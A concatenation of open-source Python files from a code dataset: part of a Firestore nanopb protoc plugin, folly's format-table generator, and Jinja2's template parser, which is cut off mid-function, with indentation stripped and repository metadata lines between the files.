"""Parses nanopb_generator command-line options from the given request.
Args:
request: A CodeGeneratorRequest passed by protoc.
Returns:
Nanopb's options object, obtained via optparser.
"""
# Parse options the same as nanopb_generator.main_plugin() does.
args = shlex.split(request.parameter)
options, _ = nanopb.optparser.parse_args(args)
# Force certain options
options.extension = '.nanopb'
# Replicate options setup from nanopb_generator.main_plugin.
nanopb.Globals.verbose_options = options.verbose
# Google's protoc does not currently indicate the full path of proto files.
# Instead always add the main file path to the search dirs, that works for
# the common case.
options.options_path.append(os.path.dirname(request.file_to_generate[0]))
return options
def nanopb_parse_files(request, options):
"""Parses the files in the given request into nanopb ProtoFile objects.
Args:
request: A CodeGeneratorRequest, as passed by protoc.
options: The command-line options from nanopb_parse_options.
Returns:
A dictionary of filename to nanopb.ProtoFile objects, each one representing
the parsed form of a FileDescriptor in the request.
"""
# Process any include files first, in order to have them available as
# dependencies
parsed_files = {}
for fdesc in request.proto_file:
parsed_files[fdesc.name] = nanopb.parse_file(fdesc.name, fdesc, options)
return parsed_files
def create_pretty_printing(parsed_files):
"""Creates a `FilePrettyPrinting` for each of the given files.
Args:
parsed_files: A dictionary of proto file names (e.g. `foo/bar/baz.proto`) to
`nanopb.ProtoFile` descriptors.
Returns:
A dictionary of short (without extension) proto file names (e.g.,
`foo/bar/baz`) to `FilePrettyPrinting` objects.
"""
pretty_printing = {}
for name, parsed_file in parsed_files.items():
base_filename = name.replace('.proto', '')
pretty_printing[base_filename] = printing.FilePrettyPrinting(parsed_file)
return pretty_printing
def nanopb_generate(request, options, parsed_files):
"""Generates C sources from the given parsed files.
Args:
request: A CodeGeneratorRequest, as passed by protoc.
options: The command-line options from nanopb_parse_options.
parsed_files: A dictionary of filename to nanopb.ProtoFile, as returned by
nanopb_parse_files().
Returns:
A list of nanopb output dictionaries, each one representing the code
generation result for each file to generate. The output dictionaries have
the following form:
{
'headername': Name of header file, ending in .h,
'headerdata': Contents of the header file,
'sourcename': Name of the source code file, ending in .c,
'sourcedata': Contents of the source code file
}
"""
output = []
for filename in request.file_to_generate:
for fdesc in request.proto_file:
if fdesc.name == filename:
results = nanopb.process_file(filename, fdesc, options, parsed_files)
output.append(results)
return output
def nanopb_write(results, pretty_printing):
"""Translates nanopb output dictionaries to a CodeGeneratorResponse.
Args:
results: A list of generated source dictionaries, as returned by
nanopb_generate().
file_pretty_printing: A dictionary of `FilePrettyPrinting` objects, indexed
by short file name (without extension).
Returns:
A CodeGeneratorResponse describing the result of the code generation
process to protoc.
"""
response = plugin_pb2.CodeGeneratorResponse()
for result in results:
base_filename = result['headername'].replace('.nanopb.h', '')
file_pretty_printing = pretty_printing[base_filename]
generated_header = GeneratedFile(response.file, result['headername'],
nanopb_fixup(result['headerdata']))
nanopb_augment_header(generated_header, file_pretty_printing)
generated_source = GeneratedFile(response.file, result['sourcename'],
nanopb_fixup(result['sourcedata']))
nanopb_augment_source(generated_source, file_pretty_printing)
return response
class GeneratedFile:
"""Represents a request to generate a file.
The initial contents of the file can be augmented by inserting extra text at
insertion points. For each file, Nanopb defines the following insertion
points (each marked `@@protoc_insertion_point`):
- 'includes' -- beginning of the file, after the last Nanopb include;
- 'eof' -- the very end of file, right before the include guard.
In addition, each header also defines a 'struct:Foo' insertion point inside
each struct declaration, where 'Foo' is the the name of the struct.
See the official protobuf docs for more information on insertion points:
https://github.com/protocolbuffers/protobuf/blob/129a7c875fc89309a2ab2fbbc940268bbf42b024/src/google/protobuf/compiler/plugin.proto#L125-L162
"""
def __init__(self, files, file_name, contents):
"""
Args:
files: The array of files to generate inside a `CodeGenerationResponse`.
New files will be added to it.
file_name: The name of the file to generate/augment.
contents: The initial contents of the file, before any augmentation, as
a single string.
"""
self.files = files
self.file_name = file_name
self._set_contents(contents)
def _set_contents(self, contents):
"""Creates a request to generate a new file with the given `contents`.
"""
f = self.files.add()
f.name = self.file_name
f.content = contents
def insert(self, insertion_point, to_insert):
"""Adds extra text to the generated file at the given `insertion_point`.
Args:
insertion_point: The string identifier of the insertion point, e.g. 'eof'.
The extra text will be inserted right before the insertion point. If
`insert` is called repeatedly, insertions will be added in the order of
the calls. All possible insertion points are defined by Nanopb; see the
class comment for additional details.
to_insert: The text to insert as a string.
"""
f = self.files.add()
f.name = self.file_name
f.insertion_point = insertion_point
f.content = to_insert
def nanopb_fixup(file_contents):
"""Applies fixups to generated Nanopb code.
This is for changes to the code, as well as additions that cannot be made via
insertion points. Current fixups:
- rename fields named `delete` to `delete_`, because it's a keyword in C++.
Args:
file_contents: The contents of the generated file as a single string. The
fixups will be applied without distinguishing between the code and the
comments.
"""
delete_keyword = re.compile(r'\bdelete\b')
return delete_keyword.sub('delete_', file_contents)
def nanopb_augment_header(generated_header, file_pretty_printing):
"""Augments a `.h` generated file with pretty-printing support.
Also puts all code in `firebase::firestore` namespace.
Args:
generated_header: The `.h` file that will be generated.
file_pretty_printing: `FilePrettyPrinting` for this header.
"""
generated_header.insert('includes', '#include <string>\n\n')
open_namespace(generated_header)
for e in file_pretty_printing.enums:
generated_header.insert('eof', e.generate_declaration())
for m in file_pretty_printing.messages:
generated_header.insert('struct:' + m.full_classname, m.generate_declaration())
close_namespace(generated_header)
def nanopb_augment_source(generated_source, file_pretty_printing):
"""Augments a `.cc` generated file with pretty-printing support.
Also puts all code in `firebase::firestore` namespace.
Args:
generated_source: The `.cc` file that will be generated.
file_pretty_printing: `FilePrettyPrinting` for this source.
"""
generated_source.insert('includes', textwrap.dedent('\
#include "Firestore/core/src/nanopb/pretty_printing.h"\n\n'))
open_namespace(generated_source)
add_using_declarations(generated_source)
for e in file_pretty_printing.enums:
generated_source.insert('eof', e.generate_definition())
for m in file_pretty_printing.messages:
generated_source.insert('eof', m.generate_definition())
close_namespace(generated_source)
def open_namespace(generated_file):
"""Augments a generated file by opening the `f::f` namespace.
"""
generated_file.insert('includes', textwrap.dedent('''\
namespace firebase {
namespace firestore {\n\n'''))
def close_namespace(generated_file):
"""Augments a generated file by closing the `f::f` namespace.
"""
generated_file.insert('eof', textwrap.dedent('''\
} // namespace firestore
} // namespace firebase\n\n'''))
def add_using_declarations(generated_file):
"""Augments a generated file by adding the necessary using declarations.
"""
generated_file.insert('includes', '''\
using nanopb::PrintEnumField;
using nanopb::PrintHeader;
using nanopb::PrintMessageField;
using nanopb::PrintPrimitiveField;
using nanopb::PrintTail;\n\n''');
if __name__ == '__main__':
main()
|
apache-2.0
|
clearlylin/folly
|
folly/build/generate_format_tables.py
|
61
|
2378
|
#!/usr/bin/env python
#
# Generate Format tables
import os
from optparse import OptionParser
OUTPUT_FILE = "FormatTables.cpp"
def generate_table(f, type_name, name, map):
f.write("extern const {0} {1}[] = {{".format(type_name, name))
for i in range(0, 256):
if i % 2 == 0:
f.write("\n ")
f.write("{0}::{1}, ".format(type_name, map.get(chr(i), "INVALID")))
f.write("\n};\n\n")
def generate_conv_table(f, name, values):
values = list(values)
line = ''
for i, v in enumerate(values):
if i == 0:
f.write("extern const char {0}[{1}][{2}] = {{\n".format(
name, len(values), len(v)))
row = "{{{0}}}, ".format(", ".join("'{0}'".format(x) for x in v))
if len(line) + len(row) > 79:
f.write(line + "\n")
line = ''
line += row
if line:
f.write(line + "\n")
f.write("};\n\n")
def octal_values():
return (tuple("{0:03o}".format(x)) for x in range(512))
def hex_values(upper):
fmt = "{0:02X}" if upper else "{0:02x}"
return (tuple(fmt.format(x)) for x in range(256))
def binary_values():
return (tuple("{0:08b}".format(x)) for x in range(256))
def generate(f):
f.write("#include <folly/FormatArg.h>\n"
"\n"
"namespace folly {\n"
"namespace detail {\n"
"\n")
generate_table(
f, "FormatArg::Align", "formatAlignTable",
{"<": "LEFT", ">": "RIGHT", "=": "PAD_AFTER_SIGN", "^": "CENTER"})
generate_table(
f, "FormatArg::Sign", "formatSignTable",
{"+": "PLUS_OR_MINUS", "-": "MINUS", " ": "SPACE_OR_MINUS"})
generate_conv_table(f, "formatOctal", octal_values())
generate_conv_table(f, "formatHexLower", hex_values(False))
generate_conv_table(f, "formatHexUpper", hex_values(True))
generate_conv_table(f, "formatBinary", binary_values())
f.write("} // namespace detail\n"
"} // namespace folly\n")
def main():
parser = OptionParser()
parser.add_option("--install_dir", dest="install_dir", default=".",
help="write output to DIR", metavar="DIR")
parser.add_option("--fbcode_dir")
(options, args) = parser.parse_args()
f = open(os.path.join(options.install_dir, OUTPUT_FILE), "w")
generate(f)
f.close()
if __name__ == "__main__":
main()
|
apache-2.0
|
kumarshivam675/Mobile10X-Hack
|
sidd/venv/lib/python2.7/site-packages/jinja2/parser.py
|
336
|
35442
|
# -*- coding: utf-8 -*-
"""
jinja2.parser
~~~~~~~~~~~~~
Implements the template parser.
:copyright: (c) 2010 by the Jinja Team.
:license: BSD, see LICENSE for more details.
"""
from jinja2 import nodes
from jinja2.exceptions import TemplateSyntaxError, TemplateAssertionError
from jinja2.lexer import describe_token, describe_token_expr
from jinja2._compat import imap
_statement_keywords = frozenset(['for', 'if', 'block', 'extends', 'print',
'macro', 'include', 'from', 'import',
'set'])
_compare_operators = frozenset(['eq', 'ne', 'lt', 'lteq', 'gt', 'gteq'])
class Parser(object):
"""This is the central parsing class Jinja2 uses. It's passed to
extensions and can be used to parse expressions or statements.
"""
def __init__(self, environment, source, name=None, filename=None,
state=None):
self.environment = environment
self.stream = environment._tokenize(source, name, filename, state)
self.name = name
self.filename = filename
self.closed = False
self.extensions = {}
for extension in environment.iter_extensions():
for tag in extension.tags:
self.extensions[tag] = extension.parse
self._last_identifier = 0
self._tag_stack = []
self._end_token_stack = []
def fail(self, msg, lineno=None, exc=TemplateSyntaxError):
"""Convenience method that raises `exc` with the message, passed
line number or last line number as well as the current name and
filename.
"""
if lineno is None:
lineno = self.stream.current.lineno
raise exc(msg, lineno, self.name, self.filename)
def _fail_ut_eof(self, name, end_token_stack, lineno):
expected = []
for exprs in end_token_stack:
expected.extend(imap(describe_token_expr, exprs))
if end_token_stack:
currently_looking = ' or '.join(
"'%s'" % describe_token_expr(expr)
for expr in end_token_stack[-1])
else:
currently_looking = None
if name is None:
message = ['Unexpected end of template.']
else:
message = ['Encountered unknown tag \'%s\'.' % name]
if currently_looking:
if name is not None and name in expected:
message.append('You probably made a nesting mistake. Jinja '
'is expecting this tag, but currently looking '
'for %s.' % currently_looking)
else:
message.append('Jinja was looking for the following tags: '
'%s.' % currently_looking)
if self._tag_stack:
message.append('The innermost block that needs to be '
'closed is \'%s\'.' % self._tag_stack[-1])
self.fail(' '.join(message), lineno)
def fail_unknown_tag(self, name, lineno=None):
"""Called if the parser encounters an unknown tag. Tries to fail
with a human readable error message that could help to identify
the problem.
"""
return self._fail_ut_eof(name, self._end_token_stack, lineno)
def fail_eof(self, end_tokens=None, lineno=None):
"""Like fail_unknown_tag but for end of template situations."""
stack = list(self._end_token_stack)
if end_tokens is not None:
stack.append(end_tokens)
return self._fail_ut_eof(None, stack, lineno)
def is_tuple_end(self, extra_end_rules=None):
"""Are we at the end of a tuple?"""
if self.stream.current.type in ('variable_end', 'block_end', 'rparen'):
return True
elif extra_end_rules is not None:
return self.stream.current.test_any(extra_end_rules)
return False
def free_identifier(self, lineno=None):
"""Return a new free identifier as :class:`~jinja2.nodes.InternalName`."""
self._last_identifier += 1
rv = object.__new__(nodes.InternalName)
nodes.Node.__init__(rv, 'fi%d' % self._last_identifier, lineno=lineno)
return rv
def parse_statement(self):
"""Parse a single statement."""
token = self.stream.current
if token.type != 'name':
self.fail('tag name expected', token.lineno)
self._tag_stack.append(token.value)
pop_tag = True
try:
if token.value in _statement_keywords:
return getattr(self, 'parse_' + self.stream.current.value)()
if token.value == 'call':
return self.parse_call_block()
if token.value == 'filter':
return self.parse_filter_block()
ext = self.extensions.get(token.value)
if ext is not None:
return ext(self)
# did not work out, remove the token we pushed by accident
# from the stack so that the unknown tag fail function can
# produce a proper error message.
self._tag_stack.pop()
pop_tag = False
self.fail_unknown_tag(token.value, token.lineno)
finally:
if pop_tag:
self._tag_stack.pop()
def parse_statements(self, end_tokens, drop_needle=False):
"""Parse multiple statements into a list until one of the end tokens
is reached. This is used to parse the body of statements as it also
parses template data if appropriate. The parser checks first if the
current token is a colon and skips it if there is one. Then it checks
for the block end and parses until if one of the `end_tokens` is
reached. Per default the active token in the stream at the end of
the call is the matched end token. If this is not wanted `drop_needle`
can be set to `True` and the end token is removed.
"""
# the first token may be a colon for python compatibility
self.stream.skip_if('colon')
# in the future it would be possible to add whole code sections
# by adding some sort of end of statement token and parsing those here.
self.stream.expect('block_end')
result = self.subparse(end_tokens)
# we reached the end of the template too early, the subparser
# does not check for this, so we do that now
if self.stream.current.type == 'eof':
self.fail_eof(end_tokens)
if drop_needle:
next(self.stream)
return result
def parse_set(self):
"""Parse an assign statement."""
lineno = next(self.stream).lineno
target = self.parse_assign_target()
if self.stream.skip_if('assign'):
expr = self.parse_tuple()
return nodes.Assign(target, expr, lineno=lineno)
body = self.parse_statements(('name:endset',),
drop_needle=True)
return nodes.AssignBlock(target, body, lineno=lineno)
def parse_for(self):
"""Parse a for loop."""
lineno = self.stream.expect('name:for').lineno
target = self.parse_assign_target(extra_end_rules=('name:in',))
self.stream.expect('name:in')
iter = self.parse_tuple(with_condexpr=False,
extra_end_rules=('name:recursive',))
test = None
if self.stream.skip_if('name:if'):
test = self.parse_expression()
recursive = self.stream.skip_if('name:recursive')
body = self.parse_statements(('name:endfor', 'name:else'))
if next(self.stream).value == 'endfor':
else_ = []
else:
else_ = self.parse_statements(('name:endfor',), drop_needle=True)
return nodes.For(target, iter, body, else_, test,
recursive, lineno=lineno)
def parse_if(self):
"""Parse an if construct."""
node = result = nodes.If(lineno=self.stream.expect('name:if').lineno)
while 1:
node.test = self.parse_tuple(with_condexpr=False)
node.body = self.parse_statements(('name:elif', 'name:else',
'name:endif'))
token = next(self.stream)
if token.test('name:elif'):
new_node = nodes.If(lineno=self.stream.current.lineno)
node.else_ = [new_node]
node = new_node
continue
elif token.test('name:else'):
node.else_ = self.parse_statements(('name:endif',),
drop_needle=True)
else:
node.else_ = []
break
return result
def parse_block(self):
node = nodes.Block(lineno=next(self.stream).lineno)
node.name = self.stream.expect('name').value
node.scoped = self.stream.skip_if('name:scoped')
# common problem people encounter when switching from django
# to jinja. we do not support hyphens in block names, so let's
# raise a nicer error message in that case.
if self.stream.current.type == 'sub':
self.fail('Block names in Jinja have to be valid Python '
'identifiers and may not contain hyphens, use an '
'underscore instead.')
node.body = self.parse_statements(('name:endblock',), drop_needle=True)
self.stream.skip_if('name:' + node.name)
return node
def parse_extends(self):
node = nodes.Extends(lineno=next(self.stream).lineno)
node.template = self.parse_expression()
return node
def parse_import_context(self, node, default):
if self.stream.current.test_any('name:with', 'name:without') and \
self.stream.look().test('name:context'):
node.with_context = next(self.stream).value == 'with'
self.stream.skip()
else:
node.with_context = default
return node
def parse_include(self):
node = nodes.Include(lineno=next(self.stream).lineno)
node.template = self.parse_expression()
if self.stream.current.test('name:ignore') and \
self.stream.look().test('name:missing'):
node.ignore_missing = True
self.stream.skip(2)
else:
node.ignore_missing = False
return self.parse_import_context(node, True)
def parse_import(self):
node = nodes.Import(lineno=next(self.stream).lineno)
node.template = self.parse_expression()
self.stream.expect('name:as')
node.target = self.parse_assign_target(name_only=True).name
return self.parse_import_context(node, False)
def parse_from(self):
node = nodes.FromImport(lineno=next(self.stream).lineno)
node.template = self.parse_expression()
self.stream.expect('name:import')
node.names = []
def parse_context():
if self.stream.current.value in ('with', 'without') and \
self.stream.look().test('name:context'):
node.with_context = next(self.stream).value == 'with'
self.stream.skip()
return True
return False
while 1:
if node.names:
self.stream.expect('comma')
if self.stream.current.type == 'name':
if parse_context():
break
target = self.parse_assign_target(name_only=True)
if target.name.startswith('_'):
self.fail('names starting with an underline can not '
'be imported', target.lineno,
exc=TemplateAssertionError)
if self.stream.skip_if('name:as'):
alias = self.parse_assign_target(name_only=True)
node.names.append((target.name, alias.name))
else:
node.names.append(target.name)
if parse_context() or self.stream.current.type != 'comma':
break
else:
break
if not hasattr(node, 'with_context'):
node.with_context = False
self.stream.skip_if('comma')
return node
def parse_signature(self, node):
node.args = args = []
node.defaults = defaults = []
self.stream.expect('lparen')
while self.stream.current.type != 'rparen':
if args:
self.stream.expect('comma')
arg = self.parse_assign_target(name_only=True)
arg.set_ctx('param')
if self.stream.skip_if('assign'):
defaults.append(self.parse_expression())
elif defaults:
self.fail('non-default argument follows default argument')
args.append(arg)
self.stream.expect('rparen')
def parse_call_block(self):
node = nodes.CallBlock(lineno=next(self.stream).lineno)
if self.stream.current.type == 'lparen':
self.parse_signature(node)
else:
node.args = []
node.defaults = []
node.call = self.parse_expression()
if not isinstance(node.call, nodes.Call):
self.fail('expected call', node.lineno)
node.body = self.parse_statements(('name:endcall',), drop_needle=True)
return node
def parse_filter_block(self):
node = nodes.FilterBlock(lineno=next(self.stream).lineno)
node.filter = self.parse_filter(None, start_inline=True)
node.body = self.parse_statements(('name:endfilter',),
drop_needle=True)
return node
def parse_macro(self):
node = nodes.Macro(lineno=next(self.stream).lineno)
node.name = self.parse_assign_target(name_only=True).name
self.parse_signature(node)
node.body = self.parse_statements(('name:endmacro',),
drop_needle=True)
return node
def parse_print(self):
node = nodes.Output(lineno=next(self.stream).lineno)
node.nodes = []
while self.stream.current.type != 'block_end':
if node.nodes:
self.stream.expect('comma')
node.nodes.append(self.parse_expression())
return node
def parse_assign_target(self, with_tuple=True, name_only=False,
extra_end_rules=None):
"""Parse an assignment target. As Jinja2 allows assignments to
tuples, this function can parse all allowed assignment targets. Per
default assignments to tuples are parsed, that can be disable however
by setting `with_tuple` to `False`. If only assignments to names are
wanted `name_only` can be set to `True`. The `extra_end_rules`
parameter is forwarded to the tuple parsing function.
"""
if name_only:
token = self.stream.expect('name')
target = nodes.Name(token.value, 'store', lineno=token.lineno)
else:
if with_tuple:
target = self.parse_tuple(simplified=True,
extra_end_rules=extra_end_rules)
else:
target = self.parse_primary()
target.set_ctx('store')
if not target.can_assign():
self.fail('can\'t assign to %r' % target.__class__.
__name__.lower(), target.lineno)
return target
def parse_expression(self, with_condexpr=True):
"""Parse an expression. Per default all expressions are parsed, if
the optional `with_condexpr` parameter is set to `False` conditional
expressions are not parsed.
"""
if with_condexpr:
return self.parse_condexpr()
return self.parse_or()
def parse_condexpr(self):
lineno = self.stream.current.lineno
expr1 = self.parse_or()
while self.stream.skip_if('name:if'):
expr2 = self.parse_or()
if self.stream.skip_if('name:else'):
expr3 = self.parse_condexpr()
else:
expr3 = None
expr1 = nodes.CondExpr(expr2, expr1, expr3, lineno=lineno)
lineno = self.stream.current.lineno
return expr1
def parse_or(self):
lineno = self.stream.current.lineno
left = self.parse_and()
while self.stream.skip_if('name:or'):
right = self.parse_and()
left = nodes.Or(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_and(self):
lineno = self.stream.current.lineno
left = self.parse_not()
while self.stream.skip_if('name:and'):
right = self.parse_not()
left = nodes.And(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_not(self):
if self.stream.current.test('name:not'):
lineno = next(self.stream).lineno
return nodes.Not(self.parse_not(), lineno=lineno)
return self.parse_compare()
def parse_compare(self):
lineno = self.stream.current.lineno
expr = self.parse_add()
ops = []
while 1:
token_type = self.stream.current.type
if token_type in _compare_operators:
next(self.stream)
ops.append(nodes.Operand(token_type, self.parse_add()))
elif self.stream.skip_if('name:in'):
ops.append(nodes.Operand('in', self.parse_add()))
elif (self.stream.current.test('name:not') and
self.stream.look().test('name:in')):
self.stream.skip(2)
ops.append(nodes.Operand('notin', self.parse_add()))
else:
break
lineno = self.stream.current.lineno
if not ops:
return expr
return nodes.Compare(expr, ops, lineno=lineno)
def parse_add(self):
lineno = self.stream.current.lineno
left = self.parse_sub()
while self.stream.current.type == 'add':
next(self.stream)
right = self.parse_sub()
left = nodes.Add(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_sub(self):
lineno = self.stream.current.lineno
left = self.parse_concat()
while self.stream.current.type == 'sub':
next(self.stream)
right = self.parse_concat()
left = nodes.Sub(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_concat(self):
lineno = self.stream.current.lineno
args = [self.parse_mul()]
while self.stream.current.type == 'tilde':
next(self.stream)
args.append(self.parse_mul())
if len(args) == 1:
return args[0]
return nodes.Concat(args, lineno=lineno)
def parse_mul(self):
lineno = self.stream.current.lineno
left = self.parse_div()
while self.stream.current.type == 'mul':
next(self.stream)
right = self.parse_div()
left = nodes.Mul(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_div(self):
lineno = self.stream.current.lineno
left = self.parse_floordiv()
while self.stream.current.type == 'div':
next(self.stream)
right = self.parse_floordiv()
left = nodes.Div(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_floordiv(self):
lineno = self.stream.current.lineno
left = self.parse_mod()
while self.stream.current.type == 'floordiv':
next(self.stream)
right = self.parse_mod()
left = nodes.FloorDiv(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_mod(self):
lineno = self.stream.current.lineno
left = self.parse_pow()
while self.stream.current.type == 'mod':
next(self.stream)
right = self.parse_pow()
left = nodes.Mod(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_pow(self):
lineno = self.stream.current.lineno
left = self.parse_unary()
while self.stream.current.type == 'pow':
next(self.stream)
right = self.parse_unary()
left = nodes.Pow(left, right, lineno=lineno)
lineno = self.stream.current.lineno
return left
def parse_unary(self, with_filter=True):
token_type = self.stream.current.type
lineno = self.stream.current.lineno
if token_type == 'sub':
next(self.stream)
node = nodes.Neg(self.parse_unary(False), lineno=lineno)
elif token_type == 'add':
next(self.stream)
node = nodes.Pos(self.parse_unary(False), lineno=lineno)
else:
node = self.parse_primary()
node = self.parse_postfix(node)
if with_filter:
node = self.parse_filter_expr(node)
return node
def parse_primary(self):
token = self.stream.current
if token.type == 'name':
if token.value in ('true', 'false', 'True', 'False'):
node = nodes.Const(token.value in ('true', 'True'),
lineno=token.lineno)
elif token.value in ('none', 'None'):
node = nodes.Const(None, lineno=token.lineno)
else:
node = nodes.Name(token.value, 'load', lineno=token.lineno)
next(self.stream)
elif token.type == 'string':
next(self.stream)
buf = [token.value]
lineno = token.lineno
while self.stream.current.type == 'string':
buf.append(self.stream.current.value)
next(self.stream)
node = nodes.Const(''.join(buf), lineno=lineno)
elif token.type in ('integer', 'float'):
next(self.stream)
node = nodes.Const(token.value, lineno=token.lineno)
elif token.type == 'lparen':
next(self.stream)
node = self.parse_tuple(explicit_parentheses=True)
self.stream.expect('rparen')
elif token.type == 'lbracket':
node = self.parse_list()
elif token.type == 'lbrace':
node = self.parse_dict()
else:
self.fail("unexpected '%s'" % describe_token(token), token.lineno)
return node
def parse_tuple(self, simplified=False, with_condexpr=True,
extra_end_rules=None, explicit_parentheses=False):
"""Works like `parse_expression` but if multiple expressions are
delimited by a comma a :class:`~jinja2.nodes.Tuple` node is created.
This method could also return a regular expression instead of a tuple
if no commas where found.
The default parsing mode is a full tuple. If `simplified` is `True`
only names and literals are parsed. The `no_condexpr` parameter is
forwarded to :meth:`parse_expression`.
Because tuples do not require delimiters and may end in a bogus comma
an extra hint is needed that marks the end of a tuple. For example
for loops support tuples between `for` and `in`. In that case the
`extra_end_rules` is set to ``['name:in']``.
`explicit_parentheses` is true if the parsing was triggered by an
expression in parentheses. This is used to figure out if an empty
tuple is a valid expression or not.
"""
lineno = self.stream.current.lineno
if simplified:
parse = self.parse_primary
elif with_condexpr:
parse = self.parse_expression
else:
parse = lambda: self.parse_expression(with_condexpr=False)
args = []
is_tuple = False
while 1:
if args:
self.stream.expect('comma')
if self.is_tuple_end(extra_end_rules):
break
args.append(parse())
if self.stream.current.type == 'comma':
is_tuple = True
else:
break
lineno = self.stream.current.lineno
if not is_tuple:
if args:
return args[0]
# if we don't have explicit parentheses, an empty tuple is
# not a valid expression. This would mean nothing (literally
# nothing) in the spot of an expression would be an empty
# tuple.
if not explicit_parentheses:
self.fail('Expected an expression, got \'%s\'' %
describe_token(self.stream.current))
return nodes.Tuple(args, 'load', lineno=lineno)
def parse_list(self):
token = self.stream.expect('lbracket')
items = []
while self.stream.current.type != 'rbracket':
if items:
self.stream.expect('comma')
if self.stream.current.type == 'rbracket':
break
items.append(self.parse_expression())
self.stream.expect('rbracket')
return nodes.List(items, lineno=token.lineno)
def parse_dict(self):
token = self.stream.expect('lbrace')
items = []
while self.stream.current.type != 'rbrace':
if items:
self.stream.expect('comma')
if self.stream.current.type == 'rbrace':
break
key = self.parse_expression()
self.stream.expect('colon')
value = self.parse_expression()
items.append(nodes.Pair(key, value, lineno=key.lineno))
self.stream.expect('rbrace')
return nodes.Dict(items, lineno=token.lineno)
def parse_postfix(self, node):
while 1:
token_type = self.stream.current.type
if token_type == 'dot' or token_type == 'lbracket':
node = self.parse_subscript(node)
# calls are valid both after postfix expressions (getattr
# and getitem) as well as filters and tests
elif token_type == 'lparen':
node = self.parse_call(node)
else:
break
return node
def parse_filter_expr(self, node):
while 1:
token_type = self.stream.current.type
if token_type == 'pipe':
node = self.parse_filter(node)
elif token_type == 'name' and self.stream.current.value == 'is':
node = self.parse_test(node)
# calls are valid both after postfix expressions (getattr
# and getitem) as well as filters and tests
elif token_type == 'lparen':
node = self.parse_call(node)
else:
break
return node
def parse_subscript(self, node):
token = next(self.stream)
if token.type == 'dot':
attr_token = self.stream.current
next(self.stream)
if attr_token.type == 'name':
return nodes.Getattr(node, attr_token.value, 'load',
lineno=token.lineno)
elif attr_token.type != 'integer':
self.fail('expected name or number', attr_token.lineno)
arg = nodes.Const(attr_token.value, lineno=attr_token.lineno)
return nodes.Getitem(node, arg, 'load', lineno=token.lineno)
if token.type == 'lbracket':
args = []
while self.stream.current.type != 'rbracket':
if args:
self.stream.expect('comma')
args.append(self.parse_subscribed())
self.stream.expect('rbracket')
if len(args) == 1:
arg = args[0]
else:
arg = nodes.Tuple(args, 'load', lineno=token.lineno)
return nodes.Getitem(node, arg, 'load', lineno=token.lineno)
self.fail('expected subscript expression', self.lineno)
def parse_subscribed(self):
lineno = self.stream.current.lineno
if self.stream.current.type == 'colon':
next(self.stream)
args = [None]
else:
node = self.parse_expression()
if self.stream.current.type != 'colon':
return node
next(self.stream)
args = [node]
if self.stream.current.type == 'colon':
args.append(None)
elif self.stream.current.type not in ('rbracket', 'comma'):
args.append(self.parse_expression())
else:
args.append(None)
if self.stream.current.type == 'colon':
next(self.stream)
if self.stream.current.type not in ('rbracket', 'comma'):
args.append(self.parse_expression())
else:
args.append(None)
else:
args.append(None)
return nodes.Slice(lineno=lineno, *args)
def parse_call(self, node):
token = self.stream.expect('lparen')
args = []
kwargs = []
dyn_args = dyn_kwargs = None
require_comma = False
def ensure(expr):
if not expr:
self.fail('invalid syntax for function call expression',
token.lineno)
while self.stream.current.type != 'rparen':
if require_comma:
self.stream.expect('comma')
# support for trailing comma
if self.stream.current.type == 'rparen':
break
if self.stream.current.type == 'mul':
ensure(dyn_args is None and dyn_kwargs is None)
next(self.stream)
dyn_args = self.parse_expression()
elif self.stream.current.type == 'pow':
ensure(dyn_kwargs is None)
next(self.stream)
dyn_kwargs = self.parse_expression()
else:
ensure(dyn_args is None and dyn_kwargs is None)
if self.stream.current.type == 'name' and \
self.stream.look().type == 'assign':
key = self.stream.current.value
self.stream.skip(2)
value = self.parse_expression()
kwargs.append(nodes.Keyword(key, value,
lineno=value.lineno))
else:
ensure(not kwargs)
args.append(self.parse_expression())
require_comma = True
self.stream.expect('rparen')
if node is None:
return args, kwargs, dyn_args, dyn_kwargs
return nodes.Call(node, args, kwargs, dyn_args, dyn_kwargs,
lineno=token.lineno)
def parse_filter(self, node, start_inline=False):
while self.stream.current.type == 'pipe' or start_inline:
if not start_inline:
next(self.stream)
token = self.stream.expect('name')
name = token.value
while self.stream.current.type == 'dot':
next(self.stream)
name += '.' + self.stream.expect('name').value
if self.stream.current.type == 'lparen':
args, kwargs, dyn_args, dyn_kwargs = self.parse_call(None)
else:
args = []
kwargs = []
dyn_args = dyn_kwargs = None
node = nodes.Filter(node, name, args, kwargs, dyn_args,
dyn_kwargs, lineno=token.lineno)
start_inline = False
return node
def parse_test(self, node):
token = next(self.stream)
if self.stream.current.test('name:not'):
next(self.stream)
negated = True
else:
negated = False
name = self.stream.expect('name').value
while self.stream.current.type == 'dot':
next(self.stream)
name += '.' + self.stream.expect('name').value
dyn_args = dyn_kwargs = None
kwargs = []
if self.stream.current.type == 'lparen':
args, kwargs, dyn_args, dyn_kwargs = self.parse_call(None)
elif (self.stream.current.type in ('name', 'string', 'integer',
'float', 'lparen', 'lbracket',
'lbrace') and not
self.stream.current.test_any('name:else', 'name:or',
'name:and')):
if self.stream.current.test('name:is'):
self.fail('You cannot chain multiple tests with is')
args = [self.parse_expression()]
else:
args = []
node = nodes.Test(node, name, args, kwargs, dyn_args,
dyn_kwargs, lineno=token.lineno)
if negated:
node = nodes.Not(node, lineno=token.lineno)
return node
def subparse(self, end_tokens=None):
body = []
data_buffer = []
add_data = data_buffer.append
if end_tokens is not None:
self._end_token_stack.append(end_tokens)
def flush_data():
if data_buffer:
lineno = data_buffer[0].lineno
body.append(nodes.Output(data_buffer[:], lineno=lineno))
del data_buffer[:]
try:
while self.stream:
token = self.stream.current
if token.type == 'data':
if token.value:
add_data(nodes.TemplateData(token.value,
lineno=token.lineno))
next(self.stream)
elif token.type == 'variable_begin':
next(self.stream)
add_data(self.parse_tuple(with_condexpr=True))
self.stream.expect('variable_end')
elif token.type == 'block_begin':
flush_data()
next(self.stream)
if end_tokens is not None and \
self.stream.current.test_any(*end_tokens):
return body
rv = self.parse_statement()
if isinstance(rv, list):
body.extend(rv)
else:
body.append(rv)
